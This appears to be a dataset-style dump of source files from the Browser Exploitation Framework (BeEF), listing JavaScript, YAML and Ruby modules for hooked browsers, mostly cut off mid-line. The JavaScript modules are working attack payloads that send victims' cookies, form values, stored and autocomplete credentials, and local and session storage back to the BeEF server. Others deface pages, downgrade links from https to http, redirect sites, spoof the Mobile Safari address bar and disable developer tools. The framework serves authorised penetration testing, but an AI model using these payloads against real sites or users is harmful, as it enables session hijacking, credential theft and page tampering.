language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
JavaScript
beef/modules/browser/fingerprint_browser/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { <%= begin f = "#{$root_dir}/modules/browser/fingerprint_browser/fingerprint2.js" File.read...
YAML
beef/modules/browser/fingerprint_browser/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fingerprint_browser: enable: true category: "Browser" name: "Fingerprint Brows...
JavaScript
beef/modules/browser/fingerprint_browser/fingerprint2.js
/* * Fingerprintjs2 2.0.6 - Modern & flexible browser fingerprint library v2 * https://github.com/Valve/fingerprintjs2 * Copyright (c) 2015 Valentin Vasilyev (valentin.vasilyev@outlook.com) * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license. * * THIS SOFTWARE IS PROVIDED BY THE COPYRI...
Ruby
beef/modules/browser/fingerprint_browser/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fingerprint_browser < BeEF::Core::Command def post_execute content = {} content['fingerprint'] = @datastore['fingerprint'] ...
JavaScript
beef/modules/browser/get_visited_domains/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // var hidden_iframe = beef.dom.createInvisibleIframe(); hidden_iframe.setAttribute('id','f'); hidden_iframe.setAttribute('name','f'); ...
YAML
beef/modules/browser/get_visited_domains/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_visited_domains: enable: true category: "Browser" name: "Get Visited Doma...
Ruby
beef/modules/browser/get_visited_domains/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_visited_domains < BeEF::Core::Command def self.options [{ 'name' => 'domains', 'description' => 'Specify additi...
JavaScript
beef/modules/browser/get_visited_urls/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var results = beef.browser.hasVisited("<%== format_multiline(@urls) %>"); var comp = ''; for (var i=0; i ...
YAML
beef/modules/browser/get_visited_urls/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_visited_urls: enable: true category: "Browser" name: "Get Visited URLs" ...
Ruby
beef/modules/browser/get_visited_urls/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_visited_urls < BeEF::Core::Command def self.options [ { 'ui_label' => 'URL(s)', 'name' => 'urls', 'des...
JavaScript
beef/modules/browser/hooked_domain/ajax_fingerprint/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { //Regular expression to match script names in source var regex = new RegExp('/\\w*\....
YAML
beef/modules/browser/hooked_domain/ajax_fingerprint/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ajax_fingerprint: enable: true category: ["Browser", "Hooked Domain"] name: "F...
Ruby
beef/modules/browser/hooked_domain/ajax_fingerprint/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Ajax_fingerprint < BeEF::Core::Command def post_execute content = {} content['script_urls'] = @datastore['script_urls'] unl...
JavaScript
beef/modules/browser/hooked_domain/alert_dialog/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { alert("<%= @text %>"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef....
YAML
beef/modules/browser/hooked_domain/alert_dialog/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: alert_dialog: enable: true category: ["Browser", "Hooked Domain"] name: "Creat...
Ruby
beef/modules/browser/hooked_domain/alert_dialog/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Alert_dialog < BeEF::Core::Command # set and return all options for this module def self.options [{ 'name' => 'text', ...
JavaScript
beef/modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { request_header_servlet_path = "<%= @request_header_servlet_path %>"; function parseResponse() { var ...
YAML
beef/modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: apache_tomcat_examples_cookie_disclosure: enable: true category: ["Browser", "Hooked Domain"...
Ruby
beef/modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Apache_tomcat_examples_cookie_disclosure < BeEF::Core::Command def self.options [ { 'name' => 'request_header_servlet_path...
JavaScript
beef/modules/browser/hooked_domain/clear_console/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { beef.debug("Clearing console..."); console.clear(); beef.net.send("<%= @command_url %>", ...
YAML
beef/modules/browser/hooked_domain/clear_console/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: clear_console: enable: true category: ["Browser", "Hooked Domain"] name: "Clea...
Ruby
beef/modules/browser/hooked_domain/clear_console/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Clear_console < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] save content ...
JavaScript
beef/modules/browser/hooked_domain/deface_web_page/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { document.body.innerHTML = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_c...
YAML
beef/modules/browser/hooked_domain/deface_web_page/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: deface_web_page: enable: true category: ["Browser", "Hooked Domain"] name: "Re...
Ruby
beef/modules/browser/hooked_domain/deface_web_page/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Deface_web_page < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @configur...
JavaScript
beef/modules/browser/hooked_domain/deface_web_page_component/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = $j('<%= @deface_selector %>').each(function() { $j(this).html(decodeURIComponent(beef.encode...
YAML
beef/modules/browser/hooked_domain/deface_web_page_component/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: deface_web_page_component: enable: true category: ["Browser", "Hooked Domain"] ...
Ruby
beef/modules/browser/hooked_domain/deface_web_page_component/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Deface_web_page_component < BeEF::Core::Command def self.options [ { 'name' => 'deface_selector', 'description' => 'The jQ...
JavaScript
beef/modules/browser/hooked_domain/disable_developer_tools/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Uses this technique by KSpace: // http://kspace.in/blog/2013/03/12/ie-disable-javascript-execution-fro...
YAML
beef/modules/browser/hooked_domain/disable_developer_tools/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: disable_developer_tools: enable: true category: ["Browser", "Hooked Domain"] n...
Ruby
beef/modules/browser/hooked_domain/disable_developer_tools/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Disable_developer_tools < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] sav...
JavaScript
beef/modules/browser/hooked_domain/get_autocomplete_creds/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { get_form_data = function(form_name) { var f = document.getElementById(form_name); var results = ''...
YAML
beef/modules/browser/hooked_domain/get_autocomplete_creds/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_autocomplete_creds: enable: true category: ["Browser", "Hooked Domain"] na...
Ruby
beef/modules/browser/hooked_domain/get_autocomplete_creds/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_autocomplete_creds < BeEF::Core::Command def self.options [] end def post_execute content = {} content['results...
JavaScript
beef/modules/browser/hooked_domain/get_cookie/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.statu...
YAML
beef/modules/browser/hooked_domain/get_cookie/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_cookie: enable: true category: ["Browser", "Hooked Domain"] name: "Get Coo...
Ruby
beef/modules/browser/hooked_domain/get_cookie/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_cookie < BeEF::Core::Command def post_execute content = {} content['cookie'] = @datastore['cookie'] save content e...
JavaScript
beef/modules/browser/hooked_domain/get_form_values/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var input_values = new Array(); // loop through all forms var forms = document.forms; for (var f=0; f <...
YAML
beef/modules/browser/hooked_domain/get_form_values/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_form_values: enable: true category: ["Browser", "Hooked Domain"] name: "Ge...
Ruby
beef/modules/browser/hooked_domain/get_form_values/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_form_values < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] save conten...
JavaScript
beef/modules/browser/hooked_domain/get_local_storage/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if ('localStorage' in window && window['localStorage'] !== null) { beef.net.send("<%= @command_url %>", <%...
YAML
beef/modules/browser/hooked_domain/get_local_storage/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_local_storage: enable: true category: ["Browser", "Hooked Domain"] name: "...
Ruby
beef/modules/browser/hooked_domain/get_local_storage/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_local_storage < BeEF::Core::Command # More info: # http://dev.w3.org/html5/webstorage/ # http://diveintohtml5.org/storag...
JavaScript
beef/modules/browser/hooked_domain/get_page_html/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var head = beef.browser.getPageHead(); var body = beef.browser.getPageBody(); var mod_data = 'head=' + he...
YAML
beef/modules/browser/hooked_domain/get_page_html/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_page_html: enable: true category: ["Browser", "Hooked Domain"] name: "Get ...
Ruby
beef/modules/browser/hooked_domain/get_page_html/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_page_html < BeEF::Core::Command def post_execute content = {} content['head'] = @datastore['head'] content['body'] =...
JavaScript
beef/modules/browser/hooked_domain/get_page_html_iframe/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var html_head = document.head.innerHTML.toString(); } catch (e) { var html_head = "Error: docume...
YAML
beef/modules/browser/hooked_domain/get_page_html_iframe/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_page_html_iframe: enable: true category: ["Browser", "Hooked Domain"] name...
Ruby
beef/modules/browser/hooked_domain/get_page_html_iframe/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_page_html_iframe < BeEF::Core::Command def post_execute content = {} content['head'] = @datastore['head'] content['b...
JavaScript
beef/modules/browser/hooked_domain/get_page_links/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+beef.dom.getLinks()); });
YAML
beef/modules/browser/hooked_domain/get_page_links/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_page_links: enable: true category: ["Browser", "Hooked Domain"] name: "Get...
Ruby
beef/modules/browser/hooked_domain/get_page_links/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_page_links < BeEF::Core::Command def post_execute content = {} content['links'] = @datastore['links'] save content ...
JavaScript
beef/modules/browser/hooked_domain/get_session_storage/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if ('sessionStorage' in window && window['sessionStorage'] !== null) { beef.net.send("<%= @command_url %>"...
YAML
beef/modules/browser/hooked_domain/get_session_storage/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_session_storage: enable: true category: ["Browser", "Hooked Domain"] name:...
Ruby
beef/modules/browser/hooked_domain/get_session_storage/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_session_storage < BeEF::Core::Command # More info: # http://dev.w3.org/html5/webstorage/ # http://diveintohtml5.org/stor...
JavaScript
beef/modules/browser/hooked_domain/get_stored_credentials/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var form_data = new Array(); var login_url = "<%= @login_url %>"; var internal_counter = 0; var timeout ...
YAML
beef/modules/browser/hooked_domain/get_stored_credentials/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_stored_credentials: enable: true category: ["Browser", "Hooked Domain"] na...
Ruby
beef/modules/browser/hooked_domain/get_stored_credentials/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_stored_credentials < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @c...
JavaScript
beef/modules/browser/hooked_domain/link_rewrite/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>')+...
YAML
beef/modules/browser/hooked_domain/link_rewrite/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: link_rewrite: enable: true category: ["Browser", "Hooked Domain"] name: "Link ...
Ruby
beef/modules/browser/hooked_domain/link_rewrite/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Link_rewrite < BeEF::Core::Command def self.options [ { 'ui_label' => 'URL', 'name' => 'url', 'description' => 'Target URL...
JavaScript
beef/modules/browser/hooked_domain/link_rewrite_click_events/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksClickEvents('<%=...
YAML
beef/modules/browser/hooked_domain/link_rewrite_click_events/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: link_rewrite_click_events: enable: true category: ["Browser", "Hooked Domain"] ...
Ruby
beef/modules/browser/hooked_domain/link_rewrite_click_events/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Link_rewrite_click_events < BeEF::Core::Command def self.options [ { 'ui_label' => 'URL', 'name' => 'url', 'description' =...
JavaScript
beef/modules/browser/hooked_domain/link_rewrite_sslstrip/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { selector = "a"; old_protocol = "https"; new_protocol = "http"; beef.net.send('<%= @command_url %>', <%...
YAML
beef/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: link_rewrite_sslstrip: enable: true category: ["Browser", "Hooked Domain"] nam...
Ruby
beef/modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Link_rewrite_sslstrip < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/browser/hooked_domain/link_rewrite_tel/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var tel_number = "<%= @tel_number %>"; var selector = "a"; beef.net.send('<%= @command_url %>', <%= @...
YAML
beef/modules/browser/hooked_domain/link_rewrite_tel/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: link_rewrite_tel: enable: true category: ["Browser", "Hooked Domain"] name: "L...
Ruby
beef/modules/browser/hooked_domain/link_rewrite_tel/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Link_rewrite_tel < BeEF::Core::Command def self.options [ { 'ui_label' => 'Number', 'name' => 'tel_number', 'description' ...
JavaScript
beef/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // var somethingsomething = function() { var fake_url = "<%= @fake_url %>"; var real_url = "<%= @real_url %>"; var newWindow = window...
YAML
beef/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: mobilesafari_address_spoofing: enable: true category: ["Browser", "Hooked Domain"] ...
Ruby
beef/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Mobilesafari_address_spoofing < BeEF::Core::Command def self.options [ { 'name' => 'fake_url', 'ui_label' => 'Fake URL', '...
JavaScript
beef/modules/browser/hooked_domain/overflow_cookiejar/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var preserveCookies = '<%= @preserveCookies %>' var initialtimestamp; var currenttimestamp; var ...
YAML
beef/modules/browser/hooked_domain/overflow_cookiejar/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: overflow_cookiejar: enable: true category: ["Browser", "Hooked Domain"] name: ...
Ruby
beef/modules/browser/hooked_domain/overflow_cookiejar/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Overflow_cookiejar < BeEF::Core::Command def self.options [ { 'name' => 'preserveCookies', 'type' => 'checkbox', 'ui_label...
JavaScript
beef/modules/browser/hooked_domain/prompt_dialog/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var answer = prompt("<%== @question %>","") beef.net.send('<%= @command_url %>', <%= @command_id %>, ...
YAML
beef/modules/browser/hooked_domain/prompt_dialog/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: prompt_dialog: enable: true category: ["Browser", "Hooked Domain"] name: "Crea...
Ruby
beef/modules/browser/hooked_domain/prompt_dialog/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Prompt_dialog < BeEF::Core::Command def self.options [ { 'name' => 'question', 'description' => 'Prompt text', 'ui_label' ...
JavaScript
beef/modules/browser/hooked_domain/remove_stuck_iframes/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var html_head = document.head.innerHTML.toString(); } catch (e) { var html_head = "Error: docume...
YAML
beef/modules/browser/hooked_domain/remove_stuck_iframes/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: remove_stuck_iframes: enable: true category: ["Browser", "Hooked Domain"] name...
Ruby
beef/modules/browser/hooked_domain/remove_stuck_iframes/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Remove_stuck_iframes < BeEF::Core::Command def post_execute content = {} content['head'] = @datastore['head'] content['b...
JavaScript
beef/modules/browser/hooked_domain/replace_video/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { $j('<%= @jquery_selector %>').each(function(){ var width = $j(this).css('width'); ...
YAML
beef/modules/browser/hooked_domain/replace_video/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: replace_video: enable: true category: ["Browser", "Hooked Domain"] name: "Repl...
Ruby
beef/modules/browser/hooked_domain/replace_video/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Replace_video < BeEF::Core::Command def self.options [ { 'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value'...
JavaScript
beef/modules/browser/hooked_domain/rickroll/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { $j('body').html(''); $j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); $j('html').css({...
YAML
beef/modules/browser/hooked_domain/rickroll/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: rickroll: enable: true category: ["Browser", "Hooked Domain"] name: "Redirect ...
Ruby
beef/modules/browser/hooked_domain/rickroll/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Rickroll < BeEF::Core::Command def post_execute content = {} content['Result'] = @datastore['result'] save content end...
JavaScript
beef/modules/browser/hooked_domain/site_redirect/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { window.location = "<%= @redirect_url %>"; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'resul...
YAML
beef/modules/browser/hooked_domain/site_redirect/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: site_redirect: enable: true category: ["Browser", "Hooked Domain"] name: "Redi...
Ruby
beef/modules/browser/hooked_domain/site_redirect/module.rb
